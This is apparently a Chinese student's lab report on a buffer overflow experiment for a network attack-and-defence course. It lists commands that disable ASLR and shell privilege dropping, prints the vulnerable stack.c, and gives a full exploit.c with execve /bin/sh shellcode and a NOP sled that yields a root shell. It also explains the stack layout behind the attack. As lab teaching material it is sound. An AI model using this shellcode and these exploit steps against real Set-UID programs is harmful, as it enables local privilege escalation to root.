20169310 2016-2017-2 《网络攻防实践》缓冲区溢出漏洞实验

缓冲区溢出漏洞实验

缓冲区溢出漏洞：缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的状况。这一漏洞能够被恶意用户利用来改变程序的流控制，甚至执行代码的任意片断。这一漏洞的出现是因为数据缓冲器和返回地址的暂时关闭，溢出会引发返回地址被重写。

输入命令安装一些用于编译32位C程序的东西:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用bash

在这里linux32命令出现了问题，去网上查了一下没有解决，可是会显示linux32，也能够继续使用。
/bin 表明的是binary, 二进制文件，主要就是一些系统命令；还有一个经常使用的目录是/usr/bin，几乎全部的应用程序的可执行文件都装这里的。
/bin/bash说明你的shell类型为bash，bash shell是最经常使用的一种shell, 是大多数Linux发行版默认的shell。

Ubuntu和其余一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜想准确的内存地址变得十分困难，而猜想内存地址是缓冲区溢出攻击的关键。所以本次实验中，咱们使用如下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

设置 randomize_va_space 为 0 后，再看看 cat 的内存布局，能够看出，栈和 mmap 区域都从固定位置开始了。

此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。所以，即便你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防御措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号连接。为了重现这一防御措施被实现以前的情形，咱们使用另外一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

而后进入tmp目录，cd /tmp

将漏洞程序stack.c，保存到 /tmp 目录下

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

而后进行gcc编译，如图

设置SET-UID

GCC编译器有一种栈保护机制来阻止缓冲区溢出，因此咱们在编译代码时须要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于容许执行栈。

咱们的目的是攻击刚才的漏洞程序，并经过攻击得到root权限。
把如下代码保存为“exploit.c”文件，保存到 /tmp 目录下。攻击程序代码以下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
//得到一个shell
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“\x??\x??\x??\x??”处须要添上shellcode保存在内存中的地址，由于发生溢出后这个位置恰好能够覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉咱们，shellcode保存在 buffer+100 的位置。
如今咱们要获得shellcode在内存中的地址，输入命令：

gdb stack

disass main

结果如图：

接下来的操做：

根据语句 strcpy(buffer+100,shellcode); 咱们计算shellcode的地址为 0xffffd020(十六进制)+100(为十进制，十六进制为64)=0xffffd084(十六进制)
如今修改exploit.c文件，将 \x??\x??\x??\x?? 修改以下

而后，编译exploit.c程序：

gcc -m32 -o exploit exploit.c

先运行攻击程序exploit，再运行漏洞程序stack，得出攻击结果

攻击成功获取了root权限，其中whoami处没法删除输入内容。

遇到的问题

1.为何要设置SET-UID：

答：sudo su的意思是切换到root用户。sudo就是以超级管理员的权限作某件事情，su就是切换用户，后面一半跟着一个用户名，若没有用户名，则默认表示切换到root用户。在root用户的模式下，编译生成了一个stack可执行文件，那么其拥有者的权限就为root(UID是用户标志号，用来表示用户权限的，set-uid的做用是“让执行该命令的用户以该命令拥有者的权限去执行，就是普通用户执行时会拥有root的权限。chmod u+s stack -- 为stack文件加上set-uid标志)。

咱们能够看到，在切换到root用户时，生成的stack程序的拥有者和所属用户组是root。正常状况下文件的用着的执行权限为x，当咱们为其加上set-uid标志时，x就变成了s，

此时，普通用户在执行stack这个程序的时候就会保持root权限。总之，setuid就是为了让咱们在运行程序时保持root权限，来方便以后利用攻击程序调用shell也是root权限。
2.如何得出：

答：程序调用bof子函数的时候先将返回地址压栈，接着会有
pushl %ebp
movl %esp,%ebp
来创建一个子函数的栈结构，因而将ebp压栈，接着esp会继续向栈顶移动，为子函数的局部变量申请空间。由于在64位系统中，一个内存区域占8个字节(64/8，一个字节占8位)。
因此，调用子函数以后栈的示意图以下：
从图中可见，在返回地址前面有24个字节，因此填充24个\x90

若是是32位机子的话，这里应当填充16个\x90。
3.为何是加100，其它程序里是其它的数字：
答：在这里我以为是一个取值范围内的均可以，前面填充了24个字节，因此buffer能够+（24~517-shellcode的机器码字节数）均可以。此处就是为了把shellcode的机器码安置在一片区域里，而后前面利用缓冲区溢出在返回地址处填上这个机器码位置对应的地址，执行返回地址时指向shellcode的地址就好。